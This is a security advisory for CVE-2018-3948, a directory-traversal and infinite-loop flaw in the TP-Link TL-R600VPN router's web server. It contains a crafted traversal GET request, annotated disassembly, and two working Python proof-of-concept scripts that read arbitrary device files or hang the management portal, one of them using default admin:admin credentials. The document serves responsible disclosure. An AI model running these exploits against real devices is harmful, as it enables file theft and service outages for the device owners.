CVE-2018-3948
An exploitable denial-of-service vulnerability exists in the URI-parsing functionality of the TP-Link TL-R600VPN HTTP server. A specially crafted URL can cause the server to stop responding to requests, resulting in downtime for the management portal. An attacker can send either an unauthenticated or authenticated web request to trigger this vulnerability.
TP-Link TL-R600VPN HWv3 FRNv1.3.0 TP-Link TL-R600VPN HWv2 FRNv1.2.3
https://www.tp-link.com/us/products/details/cat-4909_TL-R600VPN.html
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-835: Loop with Unreachable Exit Condition (‘Infinite Loop’)
If a directory traversal is attempted on any of the vulnerable pages (help, images, frames, dynaform, localization) and the requested page is a directory instead of a file, the web server will enter an infinite loop, making the management portal unavailable.
An example malicious GET request is as follows. Notice that this request is to ‘/etc’, not ‘/etc/’ or ‘/etc/shadow’:
GET /help/../../../../../../../../../../../../../../../../etc HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/AccessCtrlAccessRulesRpm.htm
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2
[Annotated Disassembly / Decompilation output]
LOAD:00426340 loc_426340: # CODE XREF: httpRpmFsA+240↓j
LOAD:00426340 la $t9, read
LOAD:00426344 move $a0, $s3 # moves the file descriptor into arg 0
LOAD:00426348 jalr $t9 ; read # triggers a read call
LOAD:0042634C move $a1, $s2 # moves the filename into arg 1 (/../../../../../etc)
LOAD:00426350 move $a0, $s5
LOAD:00426354 lw $gp, 0x110+var_100($sp)
LOAD:00426358 move $a2, $v0
LOAD:0042635C move $a1, $s2
LOAD:00426360 addu $s6, $v0
LOAD:00426364 la $t9, httpBlockPut
LOAD:00426368 jalr $t9 ; httpBlockPut # function responsible for writing read data to the socket when possible
LOAD:0042636C move $s0, $v0 # stores the response code from httpBlockPut - 0x0 for success and 0xFFFFFFFF for failure
LOAD:00426370 li $v1, 0xFFFFFFFF
LOAD:00426374 lw $gp, 0x110+var_100($sp)
LOAD:00426378 beq $v0, $v1, loc_42639C
LOAD:0042637C subu $a2, $s1, $s6
LOAD:00426380 lw $v1, 0x110+var_28($sp)
LOAD:00426384 sltu $v0, $a2, $v1
LOAD:00426388 movz $a2, $v1, $v0
LOAD:0042638C beqz $a2, loc_42639C # branches to the file close block if the read has finished
LOAD:00426390 nop
LOAD:00426394 bnez $s0, loc_426340 # loops if the read has not yet finished
LOAD:00426398 nop # NOTE: when a directory or an infinite file is read this will loop indefinitely
LOAD:0042639C
The following proof of concepts can be used to view any readable file on the device by passing the absolute path as the second argument.
If a directory without the trailing slash is passed, the proof of concept will enter an infinite loop, causing a denial-of-service condition on the web server. When this DoS condition is triggered, only the HTTP server is affected. The other device services continue as normal.
Proof of concept for the unauthenticated case: import requests import sys
def main():
if len(sys.argv) != 3:
print ""
print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
print "Example: python dir_traversal.py 192.168.0.1 /etc"
print ""
else:
ip_addr = sys.argv[1]
custom_dir = sys.argv[2]
uri="http://%s/help/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
try:
referer = "http://%s/Index.htm" % (ip_addr)
headers = {'Referer':referer}
r = requests.get(uri, headers=headers)
print "\n\nResponse Code: %s\n\n" % (r.status_code)
print r.text
except Exception as msg:
print "ERROR: %s" % (msg)
if __name__ == "__main__":
main()
Proof of concept for the authenticated case: import requests import sys import base64
def main():
if len(sys.argv) != 3:
print ""
print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
print "Example: python dir_traversal.py 192.168.0.1 /etc"
print ""
else:
ip_addr = sys.argv[1]
custom_dir = sys.argv[2]
uri="http://%s/images/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
try:
auth = "Basic %s" % (base64.b64encode("admin:admin"))
referer = "http://%s/userRpm/MenuRpm.htm" % (ip_addr)
headers = {'Authorization': auth, 'Referer':referer}
r = requests.get(uri, headers=headers)
print "\n\nResponse Code: %s\n\n" % (r.status_code)
print r.text
except Exception as msg:
print "ERROR: %s" % (msg)
if __name__ == "__main__":
main()
2018-06-28 - Vendor Disclosure
2018-10-09 - Vendor provided beta test
2018-10-11 - Patch tested and confirmed fix
2018-11-19 - Public Release
Discovered by Jared Rittle of Cisco Talos